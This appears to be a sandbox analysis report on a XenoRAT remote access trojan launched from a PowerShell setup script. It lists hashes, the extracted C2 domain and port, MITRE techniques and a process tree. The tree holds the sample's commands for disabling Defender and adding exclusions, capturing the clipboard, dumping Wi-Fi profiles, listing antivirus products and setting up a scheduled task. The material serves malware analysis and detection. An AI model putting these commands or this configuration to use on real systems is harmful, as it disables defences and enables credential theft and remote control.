xenorat | 912d9b9c047bd28a076316a4f2f22c3839a8a7a55f35bca629f00642cc2536ef

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/08/2026, 20:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup.ps1
Size 266B
Sample260820-zeccwaff47
SHA256 912d9b9c047bd28a076316a4f2f22c3839a8a7a55f35bca629f00642cc2536ef
MD5 bbf4b5996bdffc04083ab36e0beb545d
SHA1 0aef2cad439b76b0cafc07e736f38ed01bc2d511
SHA512 c6687445e36344c087f06ea352ec054e4f6bb4ffc758f753ce41be793ebc48037f7647b18fcb0c44340cbb6fbe4eba0eef5503e549d9b8b541c7acf06247addd
TLSH
T14AD0950F64664311D16BC50F7153868447CEE40F005F1C38B1B52C06BE051EC7DC74B9
MD5 SHA1 SHA512 TLSH

Score

10^/10

collection costura credential_access defense_evasion discovery execution xenorat packer persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

xenorat

ay71c1f1.free.pwrp.cc

Mutex

Xeno_rat_nd8912d

Attributes

delay
5000
install_path
appdata
port
12002
startup_name
WindowsClient.exe

Signatures

Family: XenoRat
XenoRat is a remote access trojan written in C#.
trojan rat xenorat

Detect XenoRat Payload 4 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b44f-141.dat	family_xenorat
behavioral2/memory/1288-160-0x00000000008E0000-0x00000000008F2000-memory.dmp	family_xenorat
behavioral2/memory/1512-245-0x0000000006380000-0x000000000638C000-memory.dmp	family_xenorat
behavioral2/memory/1512-425-0x0000000007420000-0x000000000751A000-memory.dmp	family_xenorat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4284	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4284	PowerShell.exe
3024	powershell.exe
5152	powershell.exe
4140	powershell.exe
4728	powershell.exe
3632	powershell.exe
4392	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3024	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
1	4284	PowerShell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2336	cmd.exe
5036	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
4200	stub.exe
5792	stub.exe
1288	bound.exe
1512	bound.exe
2468	bound.exe
3420	rar.exe

Loads dropped DLL 18 IoCs

pid	Process
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe
5792	stub.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	discord.com
11	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
2	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
916	tasklist.exe
3340	tasklist.exe
4364	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001900000002b43b-63.dat	upx
behavioral2/memory/5792-66-0x00007FFFBB650000-0x00007FFFBBCBC000-memory.dmp	upx
behavioral2/files/0x001900000002b429-69.dat	upx
behavioral2/files/0x001900000002b438-73.dat	upx
behavioral2/memory/5792-75-0x00007FFFC5670000-0x00007FFFC567F000-memory.dmp	upx
behavioral2/files/0x001900000002b42c-78.dat	upx
behavioral2/memory/5792-80-0x00007FFFBC050000-0x00007FFFBC07B000-memory.dmp	upx
behavioral2/memory/5792-79-0x00007FFFC0500000-0x00007FFFC051A000-memory.dmp	upx
behavioral2/files/0x001900000002b428-76.dat	upx
behavioral2/memory/5792-72-0x00007FFFBC430000-0x00007FFFBC457000-memory.dmp	upx
behavioral2/files/0x001900000002b437-83.dat	upx
behavioral2/files/0x001900000002b433-101.dat	upx
behavioral2/files/0x001900000002b42f-97.dat	upx
behavioral2/memory/5792-105-0x00007FFFC0350000-0x00007FFFC035F000-memory.dmp	upx
behavioral2/memory/5792-104-0x00007FFFC4B80000-0x00007FFFC4B8D000-memory.dmp	upx
behavioral2/files/0x001900000002b432-100.dat	upx
behavioral2/files/0x001900000002b431-99.dat	upx
behavioral2/files/0x001900000002b430-98.dat	upx
behavioral2/files/0x001a00000002b42e-96.dat	upx
behavioral2/files/0x001900000002b42d-95.dat	upx
behavioral2/files/0x001900000002b42b-94.dat	upx
behavioral2/files/0x001900000002b42a-93.dat	upx
behavioral2/files/0x001900000002b427-92.dat	upx
behavioral2/files/0x001900000002b44e-90.dat	upx
behavioral2/files/0x001900000002b44d-89.dat	upx
behavioral2/files/0x001900000002b43e-88.dat	upx
behavioral2/files/0x001900000002b43a-85.dat	upx
behavioral2/files/0x001900000002b439-84.dat	upx
behavioral2/memory/5792-108-0x00007FFFBF7D0000-0x00007FFFBF7E6000-memory.dmp	upx
behavioral2/memory/5792-110-0x00007FFFBB650000-0x00007FFFBBCBC000-memory.dmp	upx
behavioral2/memory/5792-120-0x00007FFFB2730000-0x00007FFFB27FE000-memory.dmp	upx
behavioral2/memory/5792-118-0x00007FFFBC000000-0x00007FFFBC033000-memory.dmp	upx
behavioral2/memory/5792-117-0x00007FFFBC430000-0x00007FFFBC457000-memory.dmp	upx
behavioral2/memory/5792-115-0x00007FFFBC040000-0x00007FFFBC04D000-memory.dmp	upx
behavioral2/memory/5792-114-0x00007FFFBC2F0000-0x00007FFFBC309000-memory.dmp	upx
behavioral2/memory/5792-111-0x00007FFFABF80000-0x00007FFFAC4B1000-memory.dmp	upx
behavioral2/memory/5792-127-0x00007FFFB2700000-0x00007FFFB2725000-memory.dmp	upx
behavioral2/memory/5792-129-0x00007FFFAB9C0000-0x00007FFFABB4A000-memory.dmp	upx
behavioral2/memory/5792-137-0x00007FFFB07A0000-0x00007FFFB0852000-memory.dmp	upx
behavioral2/memory/5792-136-0x00007FFFABF80000-0x00007FFFAC4B1000-memory.dmp	upx
behavioral2/memory/5792-135-0x00007FFFC0350000-0x00007FFFC035F000-memory.dmp	upx
behavioral2/memory/5792-197-0x00007FFFBF7D0000-0x00007FFFBF7E6000-memory.dmp	upx
behavioral2/memory/5792-223-0x00007FFFBC000000-0x00007FFFBC033000-memory.dmp	upx
behavioral2/memory/5792-224-0x00007FFFBB650000-0x00007FFFBBCBC000-memory.dmp	upx
behavioral2/memory/5792-238-0x00007FFFAB9C0000-0x00007FFFABB4A000-memory.dmp	upx
behavioral2/memory/5792-240-0x00007FFFB2730000-0x00007FFFB27FE000-memory.dmp	upx
behavioral2/memory/5792-237-0x00007FFFB2700000-0x00007FFFB2725000-memory.dmp	upx
behavioral2/memory/5792-430-0x00007FFFBB650000-0x00007FFFBBCBC000-memory.dmp	upx
behavioral2/memory/5792-444-0x00007FFFAB9C0000-0x00007FFFABB4A000-memory.dmp	upx
behavioral2/memory/5792-442-0x00007FFFB2730000-0x00007FFFB27FE000-memory.dmp	upx
behavioral2/memory/5792-441-0x00007FFFBC000000-0x00007FFFBC033000-memory.dmp	upx
behavioral2/memory/5792-438-0x00007FFFABF80000-0x00007FFFAC4B1000-memory.dmp	upx
behavioral2/memory/5792-485-0x00007FFFBB650000-0x00007FFFBBCBC000-memory.dmp	upx
behavioral2/memory/5792-501-0x00007FFFBB650000-0x00007FFFBBCBC000-memory.dmp	upx
behavioral2/memory/5792-520-0x00007FFFC0500000-0x00007FFFC051A000-memory.dmp	upx
behavioral2/memory/5792-519-0x00007FFFC5670000-0x00007FFFC567F000-memory.dmp	upx
behavioral2/memory/5792-518-0x00007FFFBC430000-0x00007FFFBC457000-memory.dmp	upx
behavioral2/memory/5792-517-0x00007FFFBC050000-0x00007FFFBC07B000-memory.dmp	upx
behavioral2/memory/5792-516-0x00007FFFB07A0000-0x00007FFFB0852000-memory.dmp	upx
behavioral2/memory/5792-515-0x00007FFFAB9C0000-0x00007FFFABB4A000-memory.dmp	upx
behavioral2/memory/5792-514-0x00007FFFB2700000-0x00007FFFB2725000-memory.dmp	upx
behavioral2/memory/5792-513-0x00007FFFB2730000-0x00007FFFB27FE000-memory.dmp	upx
behavioral2/memory/5792-512-0x00007FFFBC000000-0x00007FFFBC033000-memory.dmp	upx
behavioral2/memory/5792-511-0x00007FFFBC040000-0x00007FFFBC04D000-memory.dmp	upx

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/memory/1512-425-0x0000000007420000-0x000000000751A000-memory.dmp	costura

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3356	cmd.exe
1460	cmd.exe
5244	cmd.exe
1852	cmd.exe
2992	cmd.exe
4196	cmd.exe
2068	cmd.exe
5500	cmd.exe
4856	cmd.exe
2216	cmd.exe
5188	cmd.exe
4004	cmd.exe
2896	cmd.exe
3120	cmd.exe
3736	cmd.exe
5508	cmd.exe
2484	cmd.exe
2328	cmd.exe
5100	cmd.exe
3404	cmd.exe
3256	cmd.exe
1772	cmd.exe
3564	cmd.exe
3140	cmd.exe
3040	cmd.exe
5124	cmd.exe
3468	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3564	cmd.exe
2296	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1904	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3148	systeminfo.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2464	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4284	PowerShell.exe
4284	PowerShell.exe
3632	powershell.exe
4728	powershell.exe
3024	powershell.exe
4392	powershell.exe
4392	powershell.exe
3632	powershell.exe
4728	powershell.exe
3024	powershell.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
5036	powershell.exe
5036	powershell.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
5212	powershell.exe
5212	powershell.exe
5036	powershell.exe
5212	powershell.exe
5152	powershell.exe
5152	powershell.exe
5752	powershell.exe
5752	powershell.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
4140	powershell.exe
4140	powershell.exe
5532	powershell.exe
5532	powershell.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe
1512	bound.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4284	PowerShell.exe
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	1512	bound.exe
Token: SeDebugPrivilege	3340	tasklist.exe
Token: SeDebugPrivilege	916	tasklist.exe
Token: SeDebugPrivilege	4364	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5528	WMIC.exe
Token: SeSecurityPrivilege	5528	WMIC.exe
Token: SeTakeOwnershipPrivilege	5528	WMIC.exe
Token: SeLoadDriverPrivilege	5528	WMIC.exe
Token: SeSystemProfilePrivilege	5528	WMIC.exe
Token: SeSystemtimePrivilege	5528	WMIC.exe
Token: SeProfSingleProcessPrivilege	5528	WMIC.exe
Token: SeIncBasePriorityPrivilege	5528	WMIC.exe
Token: SeCreatePagefilePrivilege	5528	WMIC.exe
Token: SeBackupPrivilege	5528	WMIC.exe
Token: SeRestorePrivilege	5528	WMIC.exe
Token: SeShutdownPrivilege	5528	WMIC.exe
Token: SeDebugPrivilege	5528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5528	WMIC.exe
Token: SeRemoteShutdownPrivilege	5528	WMIC.exe
Token: SeUndockPrivilege	5528	WMIC.exe
Token: SeManageVolumePrivilege	5528	WMIC.exe
Token: 33	5528	WMIC.exe
Token: 34	5528	WMIC.exe
Token: 35	5528	WMIC.exe
Token: 36	5528	WMIC.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeIncreaseQuotaPrivilege	5528	WMIC.exe
Token: SeSecurityPrivilege	5528	WMIC.exe
Token: SeTakeOwnershipPrivilege	5528	WMIC.exe
Token: SeLoadDriverPrivilege	5528	WMIC.exe
Token: SeSystemProfilePrivilege	5528	WMIC.exe
Token: SeSystemtimePrivilege	5528	WMIC.exe
Token: SeProfSingleProcessPrivilege	5528	WMIC.exe
Token: SeIncBasePriorityPrivilege	5528	WMIC.exe
Token: SeCreatePagefilePrivilege	5528	WMIC.exe
Token: SeBackupPrivilege	5528	WMIC.exe
Token: SeRestorePrivilege	5528	WMIC.exe
Token: SeShutdownPrivilege	5528	WMIC.exe
Token: SeDebugPrivilege	5528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5528	WMIC.exe
Token: SeRemoteShutdownPrivilege	5528	WMIC.exe
Token: SeUndockPrivilege	5528	WMIC.exe
Token: SeManageVolumePrivilege	5528	WMIC.exe
Token: 33	5528	WMIC.exe
Token: 34	5528	WMIC.exe
Token: 35	5528	WMIC.exe
Token: 36	5528	WMIC.exe
Token: SeDebugPrivilege	5212	powershell.exe
Token: SeDebugPrivilege	5152	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeIncreaseQuotaPrivilege	5184	WMIC.exe
Token: SeSecurityPrivilege	5184	WMIC.exe
Token: SeTakeOwnershipPrivilege	5184	WMIC.exe
Token: SeLoadDriverPrivilege	5184	WMIC.exe
Token: SeSystemProfilePrivilege	5184	WMIC.exe
Token: SeSystemtimePrivilege	5184	WMIC.exe
Token: SeProfSingleProcessPrivilege	5184	WMIC.exe
Token: SeIncBasePriorityPrivilege	5184	WMIC.exe
Token: SeCreatePagefilePrivilege	5184	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1512	bound.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 4200	4284	PowerShell.exe	81
PID 4200 wrote to memory of 5792	4200	stub.exe	82
PID 5792 wrote to memory of 3404	5792	stub.exe	84
PID 5792 wrote to memory of 3256	5792	stub.exe	85
PID 5792 wrote to memory of 3356	5792	stub.exe	87
PID 5792 wrote to memory of 5500	5792	stub.exe	89
PID 5792 wrote to memory of 5508	5792	stub.exe	92
PID 3356 wrote to memory of 3632	3356	cmd.exe	94
PID 5500 wrote to memory of 1288	5500	cmd.exe	95
PID 3404 wrote to memory of 4728	3404	cmd.exe	96
PID 3256 wrote to memory of 3024	3256	cmd.exe	97
PID 5508 wrote to memory of 4392	5508	cmd.exe	98
PID 1288 wrote to memory of 1512	1288	bound.exe	99
PID 1512 wrote to memory of 2464	1512	bound.exe	100
PID 5792 wrote to memory of 2484	5792	stub.exe	104
PID 5792 wrote to memory of 4856	5792	stub.exe	105
PID 5792 wrote to memory of 1772	5792	stub.exe	108
PID 5792 wrote to memory of 2336	5792	stub.exe	109
PID 5792 wrote to memory of 2216	5792	stub.exe	111
PID 5792 wrote to memory of 5188	5792	stub.exe	113
PID 5792 wrote to memory of 3564	5792	stub.exe	116
PID 4856 wrote to memory of 3340	4856	cmd.exe	117
PID 2484 wrote to memory of 916	2484	cmd.exe	118
PID 5188 wrote to memory of 1976	5188	cmd.exe	120
PID 2336 wrote to memory of 5036	2336	cmd.exe	121
PID 1772 wrote to memory of 5528	1772	cmd.exe	123
PID 2216 wrote to memory of 4364	2216	cmd.exe	122
PID 5792 wrote to memory of 1460	5792	stub.exe	124
PID 5792 wrote to memory of 6108	5792	stub.exe	127
PID 3564 wrote to memory of 2296	3564	cmd.exe	126
PID 1460 wrote to memory of 3148	1460	cmd.exe	129
PID 6108 wrote to memory of 5212	6108	cmd.exe	130
PID 5792 wrote to memory of 5244	5792	stub.exe	131
PID 5244 wrote to memory of 2680	5244	cmd.exe	133
PID 5792 wrote to memory of 4004	5792	stub.exe	134
PID 4004 wrote to memory of 1500	4004	cmd.exe	136
PID 5792 wrote to memory of 2328	5792	stub.exe	137
PID 2328 wrote to memory of 4940	2328	cmd.exe	139
PID 5792 wrote to memory of 1852	5792	stub.exe	140
PID 5212 wrote to memory of 3200	5212	powershell.exe	142
PID 1852 wrote to memory of 2284	1852	cmd.exe	143
PID 5792 wrote to memory of 2896	5792	stub.exe	144
PID 2896 wrote to memory of 1516	2896	cmd.exe	146
PID 3200 wrote to memory of 4996	3200	csc.exe	147
PID 5792 wrote to memory of 3120	5792	stub.exe	149
PID 3120 wrote to memory of 5152	3120	cmd.exe	151
PID 5792 wrote to memory of 3140	5792	stub.exe	152
PID 3140 wrote to memory of 5752	3140	cmd.exe	154
PID 5792 wrote to memory of 2992	5792	stub.exe	155
PID 2992 wrote to memory of 1956	2992	cmd.exe	157
PID 5792 wrote to memory of 3736	5792	stub.exe	158
PID 3736 wrote to memory of 3420	3736	cmd.exe	160
PID 5792 wrote to memory of 3040	5792	stub.exe	161
PID 3040 wrote to memory of 5184	3040	cmd.exe	163
PID 5792 wrote to memory of 5124	5792	stub.exe	164
PID 5124 wrote to memory of 5996	5124	cmd.exe	166
PID 5792 wrote to memory of 3468	5792	stub.exe	167
PID 3468 wrote to memory of 4708	3468	cmd.exe	169
PID 5792 wrote to memory of 4196	5792	stub.exe	170
PID 4196 wrote to memory of 4140	4196	cmd.exe	172
PID 5792 wrote to memory of 5100	5792	stub.exe	173
PID 5100 wrote to memory of 1904	5100	cmd.exe	175
PID 5792 wrote to memory of 2068	5792	stub.exe	176
PID 2068 wrote to memory of 5532	2068	cmd.exe	178

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\setup.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Users\Admin\AppData\Local\Temp\stub.exe
  "C:\Users\Admin\AppData\Local\Temp\stub.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Users\Admin\AppData\Local\Temp\stub.exe
    "C:\Users\Admin\AppData\Local\Temp\stub.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:5792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\stub.exe'"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3404
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\stub.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3256
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "start bound.exe"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5500
    - - C:\Users\Admin\AppData\Local\Temp\bound.exe
        
        bound.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1288
      - C:\Users\Admin\AppData\Roaming\XenoManager\bound.exe
        
        "C:\Users\Admin\AppData\Roaming\XenoManager\bound.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1512
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /Create /TN "WindowsClient.exe" /XML "C:\Users\Admin\AppData\Local\Temp\tmpDA00.tmp" /F
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‏ .scr'"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5508
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‏ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2484
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4856
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:3340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1772
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious use of WriteProcessMemory
      PID:2336
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2216
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:4364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5188
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:1976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:3564
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1460
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:3148
  - - C:\Windows\system32\cmd.exe
